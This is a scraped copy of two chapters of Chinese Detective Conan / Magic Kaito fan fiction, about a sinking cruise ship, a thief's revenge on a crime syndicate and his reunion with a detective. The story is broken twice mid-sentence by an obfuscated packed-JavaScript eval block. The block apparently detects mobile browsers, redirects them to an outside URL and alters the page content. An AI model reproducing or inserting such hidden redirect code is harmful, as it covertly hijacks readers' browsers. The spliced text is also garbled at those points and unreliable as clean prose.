启航之前没有他,返航以后也没有发现对应的嫌疑人物,仅靠滑翔翼更是飞不过距离最近大陆足有上百海里的渺渺大海,排除所有可能性以后,根据现场目击者的证言确定:怪盗主动踏入了侦探殒身的火海,同样再也没有出现,生不见人、死不见尸。 整桩事件扑朔迷离,没有人知晓他像是故意自寻死路的行为动机—— 后世有其他刑侦专家分析,现场引发爆炸的机关存在视觉盲点。 工藤新一可能没有当场死亡,而是抓住了某种反制Kid的机会,迫使走投无路的对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692726|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手不得不亲身涉险。他就像是莱辛巴赫瀑布上与莫里亚蒂决斗时坠落的福尔摩斯,却远没有小说人物能被作家起死回生的幸运。作为结果,二人随着被淹没的沉船同归于尽,葬身于海下深不见底的裂谷。 也有想象力丰富的人猜测亲手杀害宿敌的怪盗自愿与之一同赴死,原因或许是他们有斗争之外的爱恨情仇,这注定将成为本世纪最疯狂的一场盛大的殉情,背离世俗却也激动人心…… 尽管民间议论纷纷,有一个秘密却始终掩藏在官方的统计之下。 经过主办人铃木园子之手,最初有3名并不存在的人物尚未登船,却被登记在册。 分别是:乘客中被工藤新一所邀请的江户川柯南,以及被乌鸦安排为船员身份的海鸥、蝴蝶。 邮轮离港之前,黑羽快斗借用工藤新一的身份登上邮轮。 等到船上召开启航晚宴,工藤新一、灰原哀、海鸥和真身为贝尔摩得的蝴蝶4人趁着夜色潜入船上,除灰原哀成为船上凭空多出的人物外,其他3人按照计划使用了事先虚设的船上名额。 随后黑羽千影杀死海鸥,使船上的真实人数与登记人数达成一致。 工藤新一找到海鸥的尸体时,贝尔摩得也藏在暗处旁听他和黑羽千影的对话。对方此行不仅是为了完成黑羽家与她的合作,也是打算趁机除掉组织中发现了APTX-4869秘密的海鸥。她在这两项目的实现以后便潜入赛琳娜号悄然离开,船上因她离去而出现的人数偏差则在工藤新一投身火海以后再度被暗中抹平。 那个时候……乃至久远的后世,人们都不会知晓,此次航程自始至终都是出自某位犯罪专家的精心设计。 没有一名无关者出现伤亡。 却也没有人能够忘记那个惊心动魄的夜晚。 寂静的海洋闪烁着银色的光芒,救生艇按次序被放下海,在摇晃的水波中缓慢前进。 在这一个注定与众不同的夜晚里,一切都是那么怪诞离奇。 伴随着人们低低的惊呼,彗星的光芒从海平线的尽头出现,一瞬飞过了无数山川海洋,犹如神迹一般照亮半边天空,也让变色龙逐渐灰败的脸孔变得一览无余。 宝石已毁,万年一遇的宝雷彗星也经过了地球,象征着潘多拉的永生传说彻底破灭。 他所不知道的是,在变色龙假扮成铃木耕生前,黑羽快斗已经先他一步伪装为这个身份,而且正是他在诱导变色龙取代自己。 为此黑羽快斗故意削减了自己身边的警备,让这个角色充满可乘之机。 铃木耕生所掌握的权限虽高,却不得不频繁地在公众场合出面。变色龙一旦落入陷阱只能依从他的剧本行动,而黑羽快斗的行踪也藉此由明转暗。 直到最后,变色龙一生的筹谋乃至信念根源都被黑羽快斗连根拔起,完全摧毁。 ——组织的BOSS,他为之献上一生忠诚的凤凰,这些年都是由乌鸦假扮。 凤凰早年就已病入沉疴,所以组织才日益疯狂地寻觅潘多拉为凤凰续命。 印象中从很久前起,凤凰就极少公开出面,也不再过问组织的生意,不再干预各派系的斗争倾轧。 随着乌鸦逐渐势大,更有BOSS对他深信不疑,视为左膀右臂的说法流传出来。毕竟凤凰一年见他的次数比其他人加起来还要多。 虽然不知对方从何时开始一人分饰二角,但有一个结论毫无疑义。 那就是……秘密之所以成为秘密,定然在BOSS弥留之际,只有乌鸦一人注视着病床上的凤凰彻底断气,让那位曾在暗世界叱咤风云的大人孤独地、不可逆转地死去。 他判断首脑的更替有可能让这个犯罪组织从追逐永生的幻梦中苏醒,重整旗鼓甚至犯下更多恶行,于是隐瞒了一切,冷酷地执行让成员自杀自灭的内斗计划,从根源摧毁组织,以报复他曾经身为黑羽快斗所遭受的一切悲剧。 真相终于明朗。 所以变色龙在被警员压制的时候放弃了挣扎,只在易容被撕开的时候狰狞一笑。 “真狠。”他恨恨地吐出含腥带血的两个字。 生命的最后时刻,齿缝间只能挤出这句心服口服的评价,作为死敌,这是最高的钦佩。 然后变色龙垂下头颅,死亡的青黑在那张平平无奇的脸庞飞速扩散,瞪向地面的眼睛失去了光彩。 他咬碎藏在嘴里的毒药,选择自尽。 由于变色龙在晚宴时假扮成铃木耕生的事迹败露,他肆无忌惮的开枪行为也让他成为最有可能在船上布置了大量炸弹的嫌犯。 他的自杀导致真相变得无从对证,抓住变色龙的警员一度感到措手不及,困扰着这是否可能引起国际问题,而在紧要关头,连长官们都无暇去思考太多。 随着莎莉贝丝皇后号的船身愈加倾斜,海水从船尾涌进门户大敞的展厅,淹没浓烟和大火,冲垮里面的设施。 水位不断上涨,漫过外面第二层、第三层的逃生楼梯,也不断侵吞着船舱里面的空间。走廊被海水灌满,应急灯因电压不足而间歇性地频闪,微弱地照亮一片水流湍急的昏暗通路,地面倾斜到让人感到空间错乱的地步。 剩余的人都聚集在船头的甲板上,许多人都不得不抓住附近的东西或者拉住前面人的手来稳固身体。所幸船上的人员本来就不算太多,救生艇的数量绰绰有余,就是考虑到沉船将在海面形成漩涡,后面的救生艇如果离开得太慢也可能遭遇危险,每个人的动作都十分紧凑。 毛利兰途中往返了一次,所以几乎是留在最后的人。地面在颠簸中不断倾斜,毛利兰旁边一人因身体失衡跌倒在地,对方在身体被重力拽着下滑的时候吓得惊叫了一声,被她眼疾手快地抓住了手臂。 “谢、谢谢!”那人惊魂未定,直到登船前都对她连声道着感激的话语。毛利兰对他安抚地笑笑,接着跟随船员的指引走到救生艇前。 她本该抓紧时间登船,但在迈步之前,还是停顿了一下。 “不要回头。” 似乎发觉了毛利兰的犹豫,身后的人低声说。 灰原哀此前一直沉默不语,她身上披着一件连帽斗篷,将大半的脸庞遮掩住,旁人只可见她唇色苍白得厉害,因为精神透支引发的高烧,脚步虚软得好似能让斗篷连着人一起被风吹走。 但此刻她的语气却截然不同,带有一种快刀斩乱麻的冷厉和坚决。 “但是万一……” “尊重他的选择吧,就算不舍也可以回去再哭。” 灰原哀平静地迎向一双浮现出诧异的眼睛。 “我知道你不想放弃救任何人的希望,尤其是他。但他既然甘愿用自身性命来博弈胜负,说明在他心中,有比他的生死更重要的东西。你也已经拥有了独属于自己的人生吧,好好珍惜自己的未来,别平白葬送掉这一切。” 她说着顿了一下,随后用一种好像在讲地狱笑话的口吻说。 “没必要让自己被多余的罪恶感负累,人活着就有私欲,谁也不会例外。就算当代活着一位同样注孤生的夏洛克·福尔摩斯,他能容许自己为世间大义献出生命,也不会甘心败给属于他的莫里亚蒂教授。” 更何况,工藤新一绝不会死于今天,死在那个总忍不住心慈手软的怪盗手中。 因为早在一切故事发生的伊始,他就已经死于APTX-4869的谋杀。 29.File 29 “第一次遇见你的时候,我就觉得我们很相像。啊……不单纯是相貌的方面,我是说感觉。冥冥之中有一种氛围告诉我,我们的信号同频,我和你在一起很开心。而事实也正是如此。 “能与你相遇,能与你交手,能爱上你,真是太好了。 “这是我人生至今最幸福的事情。” 感想讲到这里,故事也该结束了。船尾离海面的距离越来越近,在这时候周围海域依旧处于一片波澜不兴的平静,但只要自己置身其中,就能看见海水以不可阻挡的力量冲溃了所有门窗的阻隔,吞噬视线所及的设施,迫不及待地要把这艘船与自己融为一体。 一切皆如黑羽快斗所料。 此时此刻,船上其他人都正忙于逃生撤离,他却极其悠闲地坐在位于空中花园最高处的瞭望台上,单手搭在膝上,另一条长腿从平台边缘垂下,垂目瞭望这艘即将毁灭的巨船一点点下沉,有些卷的发梢随风飘动,年轻眉目泛着与年纪不符的淡漠。 黑羽快斗还记得在他真正17岁的4月19日,他和工藤新一就在这个莎莉贝丝皇后号上狭路相逢。同样夜风锋利却无比美好的夜晚,彼时还是孩童身形的小小侦探仰起脸蛋放下狠话,要把黑羽快斗送进监狱的坟墓,将同样骄傲的自己激得心脏急跳。 这位非同寻常的厉害人物,将黑羽快斗从藏锋已久的倦怠中彻底唤醒。 变装的怪盗迎视侦探心高气盛的眼睛,一瞬有危险气息从他眼底悄然走过,但很快他又笑起来,笑容明快又灿烂。 这不正好吗?游戏就是要棋逢对手才让人快乐。 这些年来黑羽快斗兜兜转转,以为自己已经变了很多,如今故地重游,却还是觉得怀念。 他勾唇笑了下,笑意却未及眼底,眼睫掀动,瞳孔深处藏着寂寞,荒凉如永夜笼罩的冰原。 可惜他过去的人生中得到过太多美好,却在后来将其亲手毁灭。 复仇就是这样的东西,让一个人吞下背弃重要之物的耻辱,倾尽所有,然后一无所有。 他摔碎自己的信念与梦想,将引以为豪的才能转化为杀人武器,玷污了怪盗的纯白传说。 很空虚。说实话。如若不是后来工藤新一的穷追不舍,或许他会在注定无聊至极的世界中迷失吧。 黑羽快斗是随心所欲的人,所以工藤新一刚苏醒的时候不得不听这家伙碎碎念地说了许多比起认罪更像是抱怨牢骚的话语,其中还掺杂了不少情绪化的夸张说辞,半真半假的脆弱,似多情又似无情。 工藤新一将手掌撑在地面,分不清温度相比拂过面颊的海风哪个更凉,脑海里闪回自己失去意识前跌在黑羽快斗身前的画面,他微微垂下头,前额飘动的发丝遮掩住眉眼间浮现的复杂神色。 异样的呼吸声被对方觉察。 “醒来了?”少年头也不回地问。 工藤新一“嗯”了一声,心里估计了一下他昏迷的时间,此时才注意到他腕上的手表略微宽了一些,斜斜地挂下来,神情忽然怔忪。 他下意识地直起身体,怪盗的白色披风从肩膀滑到腿上,露出身上松垮了许多的西装,手指顺着颈线摸到侧脸,脑海中浮现的轮廓让他熟悉又陌生,眼底一时百感交集。 “我真是服了你了……”仿佛能读心一样,黑羽快斗适时地长叹了口气,语气戚戚。 实在不能怪他一副劫后余生的神情。 海浪即将袭来,自己抹除工藤新一记忆的掳人计划又遭受挫折,黑羽快斗所有的手段已经用尽,自然万事皆休。 但在自己打算脱身的最后关头,麻醉针忽然以出其不意的势头从他身后袭来,黑羽快斗顿时毛骨悚然,被这侦探丧心病狂又似曾相识的手段惊得冷汗直冒。 所幸他在十年前就已狠狠栽过一次跟头,此生都无法忘怀那次失败经验,如今身手更是大有长进,千钧一发之际躲过了袭击。 “同样的手段对我没用啊。”黑羽快斗回过神,虚张声势地笑道。 却没想到不按套路出牌的对手还有后招。 工藤新一不为他的挑衅所动,趁黑羽快斗不备,粗暴地伸手拽住他的领带。 “又想逃吗?”工藤新一轻笑着问,平静的声音里浮着寒意,“这一次……你又打算花多少年跟我玩捉迷藏的游戏?” 到底要自我放逐到什么时候? 在他冷厉的眸色深处,有什么寒冰般的东西终于成片地倾塌,暴露出被扰乱一切后狼藉凌乱的凶狠。 这番话语让黑羽快斗被质问得无法动作,心中的酸楚无限蔓延,连呼吸都短暂地停顿了一瞬。 不知道。他想说。反正我们还有无穷尽的时间去揭秘,不是吗? 虽然他也不确定未来还有多远。 可侦探坚定不移的眼睛告诉黑羽快斗,他决不允许暧昧不清的回答。 谜题与真相,他们总站在立场对立的两端。哪怕在此刻也是如此,孰胜孰负往往取决于彼此意志的强烈程度。 然而当下黑羽快斗面对工藤新一失去冷静的质问,却蓦地意识到,他还有一个永远无法克服的可怕弱点—— 注定非他不可又酣畅淋漓的对决,会带给黑羽快斗一瞬的动情和动摇。 世界上最克制他的宿敌偏偏又最是我行我素。 黑羽快斗的身体一度濒死,后来因潘多拉重获新生,自此以后,虽然从表面看来他始终与17岁时的样貌无异,但因为体内新生细胞的基因已经改变,从某种层面上讲已经不同于寻常的人类。 可能也由于这个原因,他的血液,或是准确来说,只要是饱含他活性细胞的物质,都能抵消APTX-4869解药的药性。 APTX-4869就是不完整的潘多拉。 解药对黑羽快斗无效。 所以咬破了黑羽快斗的唇瓣,咽下了他的血的工藤新一,血液里解药的有效成分会急剧下滑到无法发挥效用的浓度。 这是工藤新一回归世界以来,第一次不再逼迫自己在骨血消融的剧痛中保持清醒。 他放纵自己颤抖,放任自己倒下,放心地闭上眼睛。 然后黑羽快斗就没有了办法,苦笑着接住工藤新一,手臂牢牢地揽住侦探过细的腰肢,作为自己束手就擒的证明。 “再也不会有让你变回去的解药了,施于人身的时间魔法将会成为无法再现的传说。” 不知道过了多久,黑羽快斗转过头,眼神很深地凝视着工藤新一。 “真让人怀念……你的这副样貌。” 虽然他很想抱怨,迟早会变回来的侦探偏偏找了个最能给他添麻烦的时机。但定定地望着那张和他一般无二却苍白憔悴许多的脸孔,徒劳地动了动唇,还是什么都说不出口。 黑羽快斗与工藤新一相识许久,也深知他们的相像,但真正彼此如身在镜子两端注视对方的经历,与工藤新一如同龄人般对峙的经历,反而寥寥无几。 在他年少时多少风华正茂的梦境中,春光比日光更加明亮美好,他所凝望的工藤新一眼睛里盛放着青春的天空倒影,是纯蓝的,盈满了太阳的光晕,也是甜蜜的,把他的一颗心融化成蜜糖。 真正的17岁的黑羽快斗会按捺着雀跃走向17岁的工藤新一,踩着无声的步伐就像猫一样靠近,心里知晓迟早会被拆穿,还是咕噜咕噜冒泡般地涌出无数新奇的搭讪主意,幼稚狡黠得仿佛永远也长不大的彼得·潘,又像是浪漫主义的始作俑者。 他也期待着工藤新一的回应,期待着他们或许能在未来缔结比当时更亲密无间的关系。 “只是我们再也回不到过去了。” 黑羽快斗低下眼帘,在刘海的阴影的遮挡下看不清神情。 工藤新一因他这句话而怔然片刻,跳动的心脏似乎也为此疼痛了一瞬,拉扯着神经的密网,垂在身侧的手指悄然蜷紧。 “所以抛弃过去重新开始就是你的心愿吗?”侦探压抑着愠怒的声音,“你当初……真的愿意让17岁的你取代自己吗?” “或许吧。” 黑羽快斗平静地回答。 他的人生充斥着太多的谎言,开口的瞬间习以为常地漠视心底纠葛成一团的不甘,避开工藤新一几乎能刺穿他的视线,随意地笑了笑。 “那个主要还是为了在这次事件中引你入局啦……不过我也没想太多以后的事情。无论是哪个我,连和你对决的机会都失去的话,余生就一目了然的索然无味吧。本来找你就是私心作祟,所以愿赌服输呗。” 就算身为乌鸦的记忆没有苏醒,过去的自己也会贯彻他的心愿,在世人面前将潘多拉彻底毁灭,黑羽快斗不会后悔。 或许还有遗憾,只是那就像今夜这颗万年一遇的彗星一般,一闪而逝,很快地消失于人们的视野。虽然依旧存在,在永无边际的宇宙里孤独流浪,却不会再经过任何人的生命。 工藤新一被他一个“愿赌服输”气得脸色骤变,他何曾听过从来锋芒毕露的黑羽快斗说如此苍凉的话语,怒其不争过后又有漫无边际的悲伤与疼痛席卷而来。 少年怪盗往昔意气风发的记忆碎片逆流而上,挤进他的意识深处——月光下从天而降的身影,倾倒了全城的华丽犯罪,幕后过分天真和理想化的行动目的,以及从隐蔽之处望向他时惺惺相惜又万般挑衅的兴奋笑容……每个瞬间都令他如此难忘,以致触碰回忆的酸楚比身体上的痛苦更令他难忍。 你不能让自己做过的一切都变得毫无意义。 直到听到对方的回答他才意识到自己说出了内心的话语。 黑羽快斗弯起唇角,少年时代总是佯装无所不能的怪盗此刻却露出了有些无奈的笑容。 “但是,”他说,“对这个世界来说,我早就已经不复存在,灰飞烟灭了。” 利用潘多拉活下去的那天他就知道,黑羽快斗的生命已经失去刻度,抹除自己的存在痕迹无异于逐渐死去。他将从所有重要之人的生命中退场,而他们也注定会逐渐接受黑羽快斗的离开,然后完成自己的一生。 他将被所有人遗忘。 除了工藤新一,是黑羽快斗的唯一和例外。 他的念念不忘和追根寻底令他倍感幸福,也令他饱受挣扎。 黑羽快斗那么努力地为自己的人生做减法,尝试从容地果断地体面地去告别他注定失去的所有关系,却因为工藤新一的存在,让他始终无法将一切归零。 既是对宿敌无计可施,也是对至爱心有不舍。 头脑和内心都一败涂地。 究其原因,还是因为我们都无法忘记彼此。 不知不觉中,他起身站在侦探身前,犹如端详着世间的另一个自己,脸孔却浮现出截然不同的感伤。 “真了不起啊名侦探,属于黑羽快斗的秘密已被你尽数揭开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696892|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我已经找不到再让你来追逐我的理由。” 好想回到我们初次相见的过去——黑羽快斗的内心在濒死的界限挣扎说。他知道自己的逆天而为必须支付代价,在自己选择的道路上背负罪孽,可他果然还是……不想彻底变得一无所有,他也有哪怕万劫不复都想要窃取的东西。 但是果然,他们都回不去了啊。就算今晚依旧是个美丽的月夜,就算他们还在这艘曾经相互见招拆招的船上,彻底被破坏的邮轮却再也无法返航到岸,沉船形成的漆黑漩涡迫不及待地把一切都拖进一去无回的深渊。 命运的两条线错过唯一的奇迹交点,就只能面临渐行渐远的现实。 “还不是所有秘密都被揭穿了吧。” 很久很久以后,工藤新一回忆起这混乱不堪的夜晚,仍记得浮现于黑羽快斗脸庞上的诧异表情。 海风渐急,飞云拂月,光源的消失让视野所及的一切都暗了好几个度。 他们一同被黑夜淹没。 黑羽快斗被抱住的瞬间浑身僵硬了一瞬,随后放松,就像认命一样把脸埋进工藤新一的肩窝。 侦探绕过他后腰的手指解开了勾在腰带上的透明渔线,二人都没有抬头去看,却知道一架隐蔽的黑色滑翔翼已经乘着海风彻底远去了。 “同样的手段对我没用啊。” 工藤新一的报复心特别强,连嘲讽的话语都以牙还牙。 夏天的夜晚再冷也不至于冷到哪里去,属于天空的怪盗特地把能变成滑翔翼的披风留给他御寒,关心的想法应该是有,却更像一种欲盖弥彰的暗示,打算借机让他放松警惕。比如——诱导侦探做出判断:怪盗无法逃离。 毕竟黑羽快斗也不是第一次利用先入感施展这样的骗术。 先在侦探面前丢弃滑翔翼,让他以为胜券在握,随后再召回高空的翅膀。 白日那些登船的商人,应该也与黑羽快斗达成了什么交易,他们的船此刻还极有可能就在附近海域徘徊,作为对方脱身后的落脚地。 “你实在太可怕了。”黑羽快斗发自内心地感叹,然而身体没有任何挣扎,温顺得几乎能让人产生十分无害的错觉。 但工藤新一亲眼见过他无畏生死的狠绝,越到绝境越不松手放开这个少年。 “我把救生伞绑在桅杆的后面了哦。”黑羽快斗觉察了他的执拗,轻轻提醒说,“你不去拿的话我们就都只能落进漩涡里了。” “不去。”工藤新一脱口道出抗拒的任性话语。 虽然不清楚自己中途究竟昏迷了多久,但工藤新一其实非常清楚,他坚持不放开黑羽快斗的下场……无异于自寻死路。 因为灌进裂口的海水逐渐将下部的船舱充满,起初被炸弹破开障壁的舱室会拥有相较原来十几甚至几十倍的重量,致使船身失衡倾斜,并随着水位的上升变得越来越重。等到最后,这艘邮轮将以非常恐怖的速度冲向大海,他们会因为追不上船尾下沉的速度而飞到空中,相当于从好几层楼高的位置向下自由落体。 根据目测,最多不会超过十分钟,这艘船就会彻底沉没。 此时他们已经能感觉到海风逐渐变成从下方吹来,脚下的地面开始加速下降,身体愈加轻盈,工藤新一的刘海被气流吹得反复掀起,暴露出眼底破釜沉舟的决绝。 人类从这个高度坠落到海面,所承受的冲击力无异于直接摔在水泥地面,五脏六腑会瞬间破裂,哪怕是他们也会横死当场,潘多拉的自愈能力具有上限。 工藤新一也同样能猜到,缜密如怪盗不可能不预留Plan B甚至Plan C作为备用的逃生预案。身为最顶级的犯罪专家,他从来秉持着极度苛刻的冷静和理性排除诱惑和阻碍,一旦达成目的就决绝抽身,不会停留。 与其说从此以后再也没有让工藤新一追逐他的理由,倒不如说是彼此彼此,工藤新一也再也没有诱使对方靠近自己的理由了。 想到此处侦探用力地咬紧了牙关。 理由,凭什么总是需要理由。 他心甘情愿地被黑羽快斗引入局中,从来不是为了这些理由。 黑羽快斗的一生若是没有意义,工藤新一就不会掘开他的坟墓,挖出将他埋葬的一切,也赌上自己的一切,不顾生死地追到这里。 没有月光的黑夜实在太模糊了,工藤新一闭了一下眼睛,哪怕视野开始习惯黑暗,还是觉得周围朦胧不清。 他的眉端浮现出寂寥沉郁的神色。 “我松手的话你就会逃走吧?” 黑羽快斗没有回答。 “——天色太黑,捉迷藏的游戏该结束了。”侦探的声音突然变得强硬,用绝不会对其他罪犯使用的狠厉语气,用宁可斩断彼此所有退路、把人逼到穷途末路也不罢休的激烈声线,连着心脏的急跳和呼吸的颤动一起诉说,“笨蛋,如果你还没察觉你早已无路可逃——” 工藤新一忽然握住黑羽快斗细微发颤的手指。 对方的动摇让工藤新一洞察了他的灵魂从未死去。 如同自己心中从未磨灭的希望—— 不甘心只能用思念当作祭奠的祭品,不甘心活成一座铭刻着过去的墓碑。 所有的爱都不应该在绝望中孤独地死去。 你应该活下去,和我一起。 如果向未来交换你的代价是我自己。 “让我们……同归于尽吧。” 30.File 30 莎莉贝丝皇后号沉没前的最后1分钟里,世界融合在一种古怪的喧嚣与寂静里。 海面不稳地上下颠簸,猛烈的低风将水波掀到高处,揉成破碎的白色浪花。远处救生艇上的人回头望去,只见大海已经变成一只张开了血盆大口的怪物,要将夸张倾斜的巨船吞吃到庞大的肚腹里去。 下沉区域的水位越来越低,附近还来不及走远的救生艇都被无形的力道拖住,拽向逐渐形成漩涡的中心。眼见形势不妙,有的人吓得惊叫哭号,也有人脸色惨白地呆怔着忘记呼吸,望着不断下沉的白色船身。 越是接近,越觉得竖立起来的莎莉贝丝皇后号好像一座坐落于海天之间的恢宏墓碑。 见证终焉的墓碑埋葬了本世纪最伟大的侦探和最神秘的怪盗。 天穹上浓云遮星蔽月,呼呼的风声为海洋的悲歌加上了模糊混响,盘旋于所有人的心间,这一刻就是黎明前最为黑暗的子夜。 然而,所有事情终将过去。 就像月亮会被乌云遮蔽,但绝不是永远。 人们都想不到冲进大洋深处的邮船上层被布置了第二波炸弹,在漆黑的水下如烟火一般接连绽放,劈开了盛夏祭典般光明亮烈的夜晚,差点被卷进漩涡的人上一秒还在恐惧地颤抖,下一刻水下爆破引起的热烈水浪冲天而起,自下而上荡平了通往地狱的漩涡,连带着把周围水域的救生艇都掀飞出去,上面的人顿时像下饺子一样哗啦落到海里,又被波涛汹涌的海浪彻底冲散。 中森警官还未从死里逃生的惊撼喜悦中回过神来,就冷不防滚进海里翻了个跟头,人在乱流中一边冒泡一边模糊地骂了一句脏话,手足并用地挣出海面,发现自己已然漂流到距离原先位置目测有近百米的地方。 他举目四顾,由于很多人离开前都换上了救生衣,落水后很快就浮了起来,也有些匆忙逃离时没有穿救生衣的人,由于铃木家筛选乘客和船员时都将游泳作为必要技能,一时也尚未发现海上有挣扎溺水的不幸儿。 残破的海船完全沉没,尸骸变成水下一去不回的庞大黑影。 然后海面的凶暴风波伴随这场混乱盛大的死亡落幕逐渐平息,徜徉于天空的高风终于吹得云开见月明。 居高临下的月光照亮了银光闪烁的远海。 一些平安无事的船只开始靠近周围落水的人们,船员向海面抛掷救生气垫和浮力圈,也有些人主动划动手臂去靠近人群。 四处都无比忙乱,以至于远处有一人抓住救生气垫的时候,旁人都没有对其特别注意。 “想不到你还布置了水下的炸弹。” “想不到你还随身携带那些道具。” 劫后余生的第一时间,二人同时说出的居然依旧是口不对心的话语,然后经过一番哑口无言的目目相觑,又各自移开视线。 其实心中压根没有意外,就像工藤新一相信黑羽快斗不会让自己的复仇累及无辜,黑羽快斗也相信工藤新一不会在任何情况下放弃生命。 而且他也不畏惧与侦探一同坠落,就算失去了赖以飞翔的翅膀。 工藤新一之于他……就像是时代走到死亡枕藉的冰河纪,苍茫大地冰封万里,他也依旧是黑羽快斗心中的最后一座不冻港,是黑羽快斗永远不会抗拒的归处。 他们从瞭望台落下的地方与救生艇所在的水域分别位于莎莉贝丝皇后号的左右两侧,借助水下爆炸而升高的水浪遮掩,工藤新一左手紧攥黑羽快斗的手腕,右手扣动腰带释放充气足球,成为他们落入大海前一道保护的缓冲。 浪花消失的瞬间,一根麻醉针释放了足球内部的空气,高密度的橡胶外皮本身比海水更沉,很快就在夜色的遮掩中消失于海底,变成一个只有他们才知晓的秘密。 然后他们一同在海上漂流,再大的风浪都没有让工藤新一放开黑羽快斗的手。 一个救生气垫漂到附近,他才转而抓住气垫,撑起身体坐了上去,接着又向黑羽快斗伸出手,示意他可以向自己借力。 但黑羽快斗一时没有动作,水珠顺着湿漉漉的刘海滴下,目光落在他手指上的戒指,忽然说:“果然这个尺寸更适合17岁的你。” 这原来是乌鸦十年来从未离身的戒指,成年后的工藤新一戴起来应该是不合适的,稍小的圈口牢牢锁住指骨上的一层皮肉,由于里侧贴合得过紧,存在感也如影随形,如同某种过于微弱的拷问。 变装能力臻于极致的黑羽快斗,却故意给自己留下一个不变的标志。固然他向来有着艺高胆大的狂妄,自信于这个破绽无法打乱他环环相扣的布局,虽然只是一枚极为简单的银戒,款式素雅而低调。但对这个善用变化万端的谜题来武装自己的人而言,唯一的亘久足以让人浮想联翩。 就像是—— 一种生死不渝的执念。 工藤新一始终维持着伸手的动作,等待黑羽快斗抛开他一直迟疑观望的犹豫,笃定的样子带着与怪盗相对时永远诚挚专注且默契无间的绝对自信,一瞬不瞬地盯着黑羽快斗的眼睛。 “这原本就是你为我准备的谜题,不是吗?” 果然……被看穿了啊。黑羽快斗凭借多年忍辱负重练就的不动声色,意志力超顽强地成功抵抗了一小会儿,缓慢吐出一口气,才把手臂从沉重冰凉的海水里抬起来,手指探进工藤新一指间的缝隙。 黑羽快斗从社会层面死去以后,开始频繁更换身份在地下世界游走。有时候为了探知某些绝密的情报,他会长时间深入地扮演他人。这样不断地说谎和伪装自己,偶尔也会让他陷入如无根浮萍般的怅惘。 他的自我好像渐渐消亡于无休止的演绎,私下里黑羽快斗面对镜中永远一成不变的容颜,由于已经太习惯于目的性的表演,他连多余的表情都懒得去做,情感几乎被剥离得一干二净,眼底唯余一点隐秘的、森冷的郁气。 其实还是不甘愿让自己消失的吧。 一个疲倦得眼皮都要粘合起来的夜晚,越过窗棂的月光无声拂开了几乎要把黑羽快斗拖进噩梦里的影子,自救的本能让他看清了自己半睡半醒之间留在手边的一则媒体记事。 海外某国权威日报的头版头条,记载着一桩模仿犯假冒怪盗被捕落网的荒诞闹剧。话虽如此,占据报纸四分之一版面的照片上却是黑羽快斗从来难分胜负的宿命对手。 黑羽快斗用食指的指甲轻轻划过侦探在报纸上依旧难掩郁色的眼睛,单手撑着下颌,半张脸被稀薄的月光照亮,本人也没察觉地轻笑了下。 真不堪啊,爬不出深渊的自己。但好像不知不觉中,从有光的地方滑下来一条蛛丝,缠住了他的手腕,始终拉扯着他岌岌可危的精神,让他知道自己还生机勃勃地活在一个人的心里。 黑羽快斗想留下这一瞬心神颤动的证据,在他抛弃了过去并放弃了未来的现在。 他把自己所有幽微难诉的妄念和爱情都凝结成一个谜题,束缚在手指,寄宿于心底,从不奢求被知晓,也不希冀被破解,就算世间再出现另一个自己都无法理解,这也与他后来布局的一系列事件毫无关联,解开与否都无关大局,充其量只能算作是昭示出最后一重“犯罪动机”的附加题。 直到现在这个时刻,黑羽快斗与工藤新一四目相对,才渐渐发觉出自己当初下决心要消失前,心里还死死抓着太多工藤新一赋予他的安全感了。 因为是工藤新一,这位天下第一的侦探,他必然能够找到黑羽快斗埋藏的秘密。 也只有他,才能够抵达黑羽快斗想要的谜底。 “你是什么时候发现的,名侦探?” “一开始。” 工藤新一刚确定乌鸦就是黑羽快斗的时候正逢冬季,寒潮带来的风雪天气让侦探不慎染上的低烧恶化成肺炎,所以他连离开墓园那短短的一段路都没撑过去,视线范围内的一切在黑夜中白得发光的雪地里迅疾模糊,手脚一下子失去力气,他眼睛一闭就失去了意识。 “你这样下去,会很短命。” 再醒来的时候,救了他的医生如是说。 工藤新一没有反省的模样,缓过一阵天旋地转的头痛,就撑着一口气坐起来,伸手拿起床边的手机看时间。 他昏迷了一周,完全错过了手上最后一条关于乌鸦行踪的线索。 雪天光线不佳,白日的病房里也开了灯,侦探浸在灯光下的脸好似一捧将化的雪,质感和肤色都介于即将消逝的苍白和透明之间。 双手插在兜里的医生直到工藤新一力竭伏下身的时候才走近他,先是抬高了枕头的位置,扶着工藤新一躺靠下来,然后就在床边的椅子坐下,帮他调整快要滑出手背的吊针。 一系列的动作极具条理,显出不掺杂任何情绪的冷淡,又有着恰到好处的精确。 工藤新一醒来的地方是一家很寻常的私家诊所,看护病房里摆放了一些简单的医疗用具,侦探一眼看去没有发现什么异常,包括眼前说是祭拜家人时意外发现他的医生。 “虽然我不清楚你过去经历了什么,但你高烧昏迷的时候,我抽了一点你的血液用于检查。” 在他的目光停留于铁支架上没有标签的输液瓶时,医生也客观地叙述着工藤新一的检查结果。 “我发现你身体的细胞活性低得吓人,恢复力只能比得过死到临头的老人。而且你一定经常透支自己,压力激素很高,会伴随失眠、免疫力下降、代谢紊乱等症状。胃蛋白酶也异常,有慢性胃炎吧。你啊……身体过负荷了就容易瞬间崩溃,这样下去哪天死于衰竭也不奇怪。” 